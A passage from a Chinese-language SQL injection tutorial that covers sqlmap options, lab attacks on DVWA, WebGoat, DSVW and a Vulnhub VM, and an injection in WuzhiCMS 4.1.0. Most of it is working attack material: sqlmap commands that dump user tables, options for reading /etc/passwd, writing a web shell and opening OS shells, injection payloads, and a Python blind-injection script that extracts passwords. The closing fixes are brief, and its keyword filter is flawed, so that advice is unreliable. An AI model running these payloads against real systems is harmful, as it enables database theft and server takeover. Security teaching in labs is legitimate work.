--privileges 查看特權,常用。例: --privileges -U username (CU 就是當前用戶)
--roles 查看一共有哪些角色(權限),直接用--roles
--dbs 目標服務器中有什麼數據庫,常用,直接用--dbs
--tables 目標數據庫有什麼表,常用,直接用--tables
--columns 目標表中有什麼列,常用,直接用--colums
--schema 目標數據庫數據庫系統管理模式。
--count 查詢結果返回一個數字,即多少個。
--dump 查詢指定範圍的全部數據。例: --dump -D admin -T admin -C username
--dump-all 查詢全部數據。例: --dump-all --exclude-sysdbs
--search 搜索列、表和/或數據庫名稱。
--comments 檢索數據庫的備註。
-D DB 指定從某個數據庫查詢數據,常用。例: -D admindb
-T TBL 指定從某個表查詢數據,常用。例: -T admintable
-C COL 指定從某個列查詢數據,常用。例: -C username
-X EXCLUDE 指定數據庫的標識符。
-U USER 一個用戶,通常和其他連用。例: --privileges -U username (CU 就是當前用戶)
--exclude-sysdbs 除了系統數據庫。
--pivot-column=P.. 樞軸列名,不懂。
--where=DUMPWHERE 在dump表時使用where限制條件。
--start=LIMITSTART 設置一個起始,通常和--dunmp連用。
--stop=LIMITSTOP 同上,設置一個結束。
--first=FIRSTCHAR 以第一個查詢輸出的字符檢索,不懂。
--last=LASTCHAR 以最後一個查詢輸出的字符檢索,不懂+2。
--sql-query=QUERY 執行一個sql語句。
--sql-shell 創建一個sql的shell。
--sql-file=SQLFILE 執行一個給定文件中的sql語句

(9)Brute force

--common-tables 檢查有沒有記錄表信息的公共表,比如mysql>=5.0會有一個information_schema庫,儲存了整個數據庫的基本信息。有這個會方便很多。
--common-columns 有沒有記錄公共列的表,比如Access就沒有列信息。這兩種方法都會使用暴力破解。

(10)User-defined function injection

--udf-inject 編譯共享庫創建並上傳至DB Server,生成UDF實現高級注入,不懂。
--shared-lib=SHLIB 同上,不懂。

(11) File system access

--file-read=RFILE 讀取目標站點的一個文件。例: --file-read="/etc/password"
--file-write=WFILE 寫入到目標站點的一個文件,通常和--sql-query 連用。例: --sql-query="select "一句話木馬" --file-write="shell.php"
--file-dest=DFILE 同上,只是使用絕對路徑寫入。

(12) Operating system access

--os-cmd=OSCMD 執行一句系統命令。例: --os-shell="ipconfig -all"
--os-shell 創建一個對方操作系統的shell,遠程執行系統命令。直接用即可--os-shell
--os-pwn 同上,獲取一個OOB shell,meterpreter或VNC。
--os-smbrelay 同上,一鍵獲取一個OOB shell,meterpreter或VNC。
--os-bof 利用緩衝區溢出。
--priv-esc 自動提權,數據庫進程用戶權限提升。
--msf-path=MSFPATH Metasploit Framework本地的安裝路徑。
--tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑。

(13) Windows registry access

--reg-read 讀一個Windows註冊表。
--reg-add 添加一個註冊表。
--reg-del 刪一個註冊表。
--reg-key=REGKEY 和之前連用,註冊表key值。
--reg-value=REGVAL 和之前連用,註冊表值。
--reg-data=REGDATA 和之前連用,註冊表數據。
--reg-type=REGTYPE 和之前連用,註冊表類別。

(14) General

-s SESSIONFILE 從一個文件加載保存的session。
-t TRAFFICFILE 記錄流文件的保存位置。
--batch 批處理,在檢測過程中會問用戶一些問題,使用這個參數統統使用默認值。
--binary-fields=.. 指定二進制結果的字段。
--check-internet 在評估目標之前檢查互聯網連接,新功能。
--crawl=CRAWLDEPTH 從起始位置爬取的深度。例: --crawl=3
--crawl-exclude=.. 除了哪些頁面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"
--csv-del=CSVDEL 指定在CSV輸出中使用的分隔字符。
--charset=CHARSET 強制字符串編碼。例: --charset=GBK
--dump-format=DU.. 轉儲數據的格式 ,有(CSV (默認), HTML,SQLITE)三種。
--encoding=ENCOD.. 用於數據檢索的字符編碼。例: --encoding=GBK
--eta 顯示每個輸出的預計到達時間 。
--flush-session 清空會話信息。
--forms 在目標URL上解析和測試表單。
--fresh-queries sqlmap每次查詢都會講查詢結果儲存在.sqlmap文件夾中,下次再有相同測查詢會調用上次的查詢結果,使用這個參數可以忽略文件中有的記載結果,重新查詢。
--har=HARFILE 將所有http流量記錄在一個har文件中。
--hex dump非ascii字符時,將其編碼爲16進制,收到後解碼還原。
--output-dir=OUT.. 輸出結果至文件。例: --output-dir=/tmp
--parse-errors 解析並顯示報錯信息。
--save=SAVECONFIG 將使用的命令保存到配置ini文件
--scope=SCOPE 和-l類似,只是這個可以過濾信息,使用正則表達式過濾網址。
--test-filter=TE.. 根據有效負載和/或標題,不懂。
--test-skip=TEST.. 根據有效負載和/或標題跳過測試,不懂+2。
--update 更新sqlmap。

(15) Miscellaneous

-z MNEMONICS 參數助記符,比較傻的一個功能。例: -z "bat,randoma,ign,tec=BEU" 其實就是隻要你寫的字母可以唯一匹配其他參數,就可以生效。
--alert=ALERT 在找到SQL注入時運行主機OS命令。
--answers=ANSWERS 設置問題答案,在剛剛的--batch 可以跳過很多問題,但只是選擇默認值,可以使用者個參數對特定問題設定特定答案。例: --answer "extending=N"
--beep 在問題和/或當SQL注入被發現時發出嘟嘟聲。。。。。。。。。
--cleanup 從SqLMAP特定的UDF和表中找數據庫,類似暴力破解。
--dependencies 檢查缺少的Sql映射依賴項。
--disable-coloring 禁用控制檯輸出着色。
--gpage=GOOGLEPAGE 在指定頁使用google結果,不懂。
--identify-waf 識別目標的防火牆。
--mobile cosplay 手機。
--offline 在脫機模式下工作。
--purge-output 情況輸出文件夾。
--skip-waf 跳過WAF/IPS/IDS保護的啓發式檢測。
--smart 有大量檢測目標時候,只選擇基於錯誤的檢測。
--sqlmap-shell 創建一個交互的sqlmap_shell,不懂。
--tmp-dir=TMPDIR 更改存儲臨時文件的本地目錄。
--web-root=WEBROOT 設置Web服務器文檔根目錄。例: --web-root="/var/www"
--wizard 新手教程。

6.2.2.2 SQLMAP攻擊實例

(1)查看當前數據庫

py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-db

(2)查看當前用戶

py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-user

(3)查看全部數據庫

py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --dbs

(4)查看數據庫全部表

py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa --tables

(5)查看錶字段

py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa -T users --columns

(6)查看數據

py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa -T users -C user,password --dump

6.3 其他靶場

6.3.1 WebGoat

6.3.1.2 WebGoat 簡介

WebGoat是OWASP組織研製出的用於進行web漏洞實驗的Java靶場程序,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。

6.3.1.3 WebGoat安裝

https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar


默認是127.0.0.1 ,只能本機訪問,需要更改
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0

需更新到最新的java版本

https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html

安裝java步驟省略,安裝好開始運行


訪問http://192.168.123.25:8080/WebGoat

6.3.1.4 測試過程

(1)SQL Injection (advanced)

輸入除非字符型注入admin' or '1'='1

7能正常顯示8就不可以正常顯示了說明字段爲7個

Smith' union select 1,'2','3','4','5','6',7 from user_data --

Smith' union select 1,database(),user_name,password,'5','6',7 from user_system_data --

(2)SQL Injection (mitigation)

防禦sql注入,其實就是session,參數綁定,存儲過程這樣的注入。

// 利用session防禦,session內容正常情況下是用戶無法修改的
select * from users where user = "'" + session.getAttribute("UserID") + "'";

//  參數綁定方式,利用了sql的預編譯技術
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

上面說的方式也不是能夠絕對的進行sql注入防禦,只是減輕。

如參數綁定方式可以使用下面方式繞過。
通過使用case when語句可以將order by後的orderExpression表達式中添加select語句。

select * from users order by lastname;
------------------------------------------------------------------------------------

SELECT ...
FROM tableList
[WHERE Expression]
[ORDER BY orderExpression [, ...]]

orderExpression:
{ columnNr | columnAlias | selectExpression }
    [ASC | DESC]

selectExpression:
{ Expression | COUNT(*) | {
    COUNT | MIN | MAX | SUM | AVG | SOME | EVERY |
    VAR_POP | VAR_SAMP | STDDEV_POP | STDDEV_SAMP
} ([ALL | DISTINCT][2]] Expression) } [[AS] label]

Based on HSQLDB
---------------------------------------------------------------------------------------

select * from users order by (case when (true) then lastname else firstname)

6.3.2 DSVW

6.3.2.1 DSVW 簡介

Damn Small Vulnerable Web (DSVW) 是使用 Python 語言開發的 Web應用漏洞 的演練系統。其系統只有一個 python 的腳本文件組成, 當中涵蓋了 26 種 Web應用漏洞環境, 並且腳本代碼行數控制在了100行以內, 當前版本v0.1m。需要python (2.6.x 或 2.7)並且得安裝lxml庫

6.3.2.2 DSVW 下載

6.3.2.3 DSVW 安裝

安裝python-lxml,再下載DSVW

apt-get install python-lxml
git clone https://github.com/stamparm/DSVW.git

直接運行



如果出現ip無法訪問的情況改一下代碼即可

(1)Blind SQL Injection (boolean)

說明存在盲注

?id=2%20AND%201=1 正常顯示
?id=2%20AND%201=2 顯示不正常

構造語句進行盲注,發現不能使用mid只能使用substr。。

2 and mid((select password from users where name='admin'),1,1)='7' 不能正常顯示
2 and substr((select password from users where name='admin'),1,1)='7'  能正常顯示
http://192.168.123.25:65412/?id=2%20and%20substr((select%20password%20from%20users%20where%20name=%27admin%27),2,1)=%27e%27
密碼第一位7第二位e
通過之前做的python腳本跑出來密碼是7en8aiDoh!

(2)Blind SQL Injection (time)

http://192.168.123.25:65412/?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
這個漏洞環境用到了 SQLITE3 中的 CASE 窗口函數與 RANDOMBLOB 來實現的基於時間的盲注。 
MSQL: sleep(2) 
MSSQL: WAITFOR DELAY '0:0:2'

(3)UNION SQL Injection

基於聯合查詢注入: 使用UNION運算符用於SQL注入,UNION運算符是關聯兩個表的查詢結果。攻擊者故意僞造的惡意的查詢並加入到原始查詢中, 僞造的查詢結果將被合併到原始查詢的結果返回,攻擊者會獲得其他表的信息。

http://192.168.123.25:65412/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')

7. 真實靶場演練

這裏我們採用Vulnhub靶場進行演練。

7.1 Vulnhub 簡介

Vulnhub是一個提供各種漏洞環境的靶場平臺,供安全愛好者學習滲透使用,大部分環境是做好的虛擬機鏡像文件,鏡像預先設計了多種漏洞,需要使用VMware或者VirtualBox運行。每個鏡像會有破解的目標。

7.2 Vulnhub 安裝

7.3 靶場漏洞介紹

Graceful的VulnVM是在虛擬機上運行的Web應用程序,它旨在模擬一個簡單的電子商務風格網站,該網站特意容易受到Web應用程序中常見的許多衆所周知的安全問題的影響。這實際上是該項目的預發佈預覽版,但它確實具有實用性,但我計劃在不久的將來對此進行大量工作。

該計劃最終使應用程序容易受到大量問題的影響,選擇不同的過濾器處於不同的困難,以便測試人員能夠更好地檢測和利用應用程序可以通過常見的開發方法加強的問題,以便測試人員能夠更廣泛的經驗。

第一批過濾器現已實施!該應用程序現在支持“級別”,其中級別1不包括用戶輸入的實際過濾,級別2包括針對每個易受攻擊的功能的簡單過濾器。

7.4 靶場實戰演示

7.4.1 第一個盲注

在products.php頁面存在盲注,通過測試發現是數字型盲注

http://10.1.0.239/products.php?type=1%20and%201=1  能正常顯示
http://10.1.0.239/products.php?type=1%20and%201=2  不能正常顯示

構造語句爆破數據庫名,使用之前的python腳本進行爆破。

http://10.1.0.239/products.php?type=1%20and%20mid(database(),1,1)=%27D%27

爆破出來數據庫名爲seattle

判斷出來數據庫存在3個表

http://10.1.0.239/products.php?type=1%20and%20(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database())=3

三個表名

url="http://10.1.0.239/products.php?type=1%20and%20mid%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema%3ddatabase%28%29%20limit%200,1%29,1,1%29%3d%27t%27"

開始爆字段,用如下語句

and mid((select column_name from information_schema.columns where table_name='tblblogs' limit 0,1),1,1)='t'

一直爆不出來字段,發現原來是這種爆破腳本存在一個無法分辨大小寫的問題。
改進一下腳本,變成ASCII的判斷。

"""
@Product:DVWA 
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request

header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
    ,'Cookie': 'level=1','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'}
if __name__ == '__main__':
    a=""
    c = 0
    for k in range(0,20):
        a+="\r\n"+str(k)+":"
        if c==2:
            print("結束了")
            exit()
        for i in range(1,20):
            for j in range(255):
                #j="t"
                url="http://10.1.0.239/products.php?type=1%20and%28select%20ascii%28mid%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%20"+str(k)+",1%29,"+str(i)+",1%29%29%29="+str(j)+""
                try:
                    #print(url)
                    rp = urllib.request.Request(url, headers=header)
                    respon = urllib.request.urlopen(rp)
                    html = respon.read().decode('utf-8')
                    #print(html)
                    #exit()
                    if "Foo Vinyl" in html:
                        if j==0:
                            break
                        #print(j)
                        a+=chr(j)
                        print(a)
                        c = 0
                        break
                except:
                    continue
        c += 1

重新嘗試爆破字段,改一下語句,用python來跑

http://10.1.0.239/products.php?type=1%20and(select%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27tblMembers%27%20limit%200,1),1,1)))=111

再去爆破數據。
用戶名

http://10.1.0.239/products.php?type=1%20and(select%20ascii(mid((select%20username%20from%20seattle.tblMembers%20limit%200,1),1,1)))=111

密碼

http://10.1.0.239/products.php?type=1%20and(select%20ascii(mid((select%20password%20from%20seattle.tblMembers%20limit%200,1),1,1)))=111

最終代碼如下,因爲可能會因爲字符長度過長導致時間過長的問題,就加了個判斷d,這樣40位的名字也可進行判斷

"""
@Product:DVWA 
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request

header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
    ,'Cookie': 'level=1','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'}
if __name__ == '__main__':
    a=""
    c = 0
    for k in range(0,20):
        a+="\r\n"+str(k)+":"
        if c==2:
            print("結束了")
            exit()
        d=0
        for i in range(1,40):
            if d ==2:
                print("結束了")
                exit()
            for j in range(255):
                url="http://10.1.0.239/products.php?type=1%20and%28select%20ascii%28mid%28%28select%20password%20from%20seattle.tblMembers%20limit%20"+str(k)+",1%29,"+str(i)+",1%29%29%29="+str(j)
                try:
                    #print(url)
                    #print(d)
                    rp = urllib.request.Request(url, headers=header)
                    respon = urllib.request.urlopen(rp)
                    html = respon.read().decode('utf-8')
                    #print(html)
                    #exit()
                    if "Foo Vinyl" in html:
                        if j==0:
                            break
                        #print(j)
                        a+=chr(j)
                        print(a)
                        c = 0
                        d = 0
                        break
                except:
                    continue
            d += 1
        c += 1

7.4.2 報錯注入

http://10.1.0.239/details.php?prod=1and&type=1

說明存在5個字段

http://10.1.0.239/details.php?prod=1%20order%20by%205&type=1 沒報錯
http://10.1.0.239/details.php?prod=1%20order%20by%206&type=1 報錯了

進行UNION注入構造語句,發現並沒有顯示位。所以只能進行報錯盲注了

http://10.1.0.239/details.php?prod=1%20union%20select%201,2,3,4,5&type=1

跟上面幾乎一樣,就是利用的地方不一樣

http://10.1.0.239/details.php?prod=1%20and(select%20ascii(mid((select%20password%20from%20seattle.tblMembers%20limit%200,1),1,1)))=100&type=1

7.5 漏洞修補建議

7.5.1 使用htmlspecialchars函數在GET輸入做一個過濾。

7.5.2 使用strpos函數在GET輸入做判斷是否存在關鍵字。

可以自定義關鍵字建立數組即可

function foo($arg)
{
    #echo $arg;
    $array = array("and", "or","xxx");
    for ($i=0; $i < 2; $i++) { 
        if (strpos($arg,$array[$i])!== false){
        die("警告");
    }
    }
    return $arg;
}

7.5.3 使用PDO進行加固

把查詢語句弄成一個對象,通過函數判斷輸入進來的值是否爲數字,然後再通過正則替換內容

使用參數化查詢可有效避免SQL注入

8. CMS實戰演練

8.1 CMS介紹

五指互聯由原盛大集團PHPCMS負責人王參加創辦,匯聚衆多國內資深CMS開發者,擁有一支戰鬥力強、專業的技術團隊,有超過10年的CMS專業開發經驗。

8.2 CMS下載

五指CMS官網:https://www.wuzhicms.com/

網站源碼版本:五指CMS v4.1.0 UTF-8 開源版

程序源碼下載:https://www.wuzhicms.com/download/

8.3 漏洞代碼分析

1、漏洞文件位置:/coreframe/app/promote/admin/index.php 第42-60行:

public function search() {  
    $siteid = get_cookie('siteid');  
    $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;  
    $page = max($page,1);  
    $fieldtype = $GLOBALS['fieldtype'];  
    $keywords = $GLOBALS['keywords'];  
    if($fieldtype=='place') {  
        $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";  
        $result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');  
         $pages = $this->db->pages;  
         $total = $this->db->number;  
         include $this->template('listingplace');  
     } else {  
         $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";  
         $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');  
         $pages = $this->db->pages;  
         $total = $this->db->number;  
         include $this->template('listing');  
     }

8.4 漏洞實戰演示

構造url鏈接,使用SQLMAP可獲取數據庫敏感數據。

Payload:

http://10.1.1.6/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23

抓包把數據包放到sqlmap上跑

GET /index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%%27*%23 HTTP/1.1
Host: 10.1.1.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=e7qnm2dis4d18e28k6dla00gj1; XHV_uid=nX7CXoL%2FmTtWpu9BxI8h6Q%3D%3D; XHV_username=wP2OI%2B5dB0HgOUo0%2F9IuFA%3D%3D; XHV_wz_name=LCMQtntZUxcXN9%2BtUJuyXA%3D%3D; XHV_siteid=qs71GIOYdXiGHTG0Itnn2g%3D%3D
Upgrade-Insecure-Requests: 1

8.5 漏洞修補建議

8.5.1 使用htmlspecialchars函數在GET輸入做一個過濾。

8.5.2 使用strpos函數在GET輸入做判斷是否存在關鍵字。

可以自定義關鍵字建立數組即可

function foo($arg)
{
    #echo $arg;
    $array = array("and", "or","xxx");
    for ($i=0; $i < 2; $i++) { 
        if (strpos($arg,$array[$i])!== false){
        die("警告");
    }
    }
    return $arg;
}

8.5.3 使用PDO進行加固

把查詢語句弄成一個對象,通過函數判斷輸入進來的值是否爲數字,然後再通過正則替換內容

使用參數化查詢可有效避免SQL注入

9. SQL漏洞防禦

9.1 數據庫用戶權限分明

9.2 代碼層防禦 常用過濾變量

9.3 str_replace()替換過濾

單引號(’)
雙引號(")
反斜槓(\)
NULL

9.4 htmlspecialchars()函數 實體化過濾

預定義的字符是:
& (和號)成爲 &
" (雙引號)成爲 "
’ (單引號)成爲 ’
<>成爲 <>
就是把成變成一個純字符(:з」∠)

9.5 addslashes()函數 添加轉義字符

會在以下關鍵詞前面添加轉義字符
單引號(’)
雙引號(")
反斜槓(\)
NULL

9.6 輸入驗證

9.7 編碼輸出

9.8 使用PDO預編譯語句

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章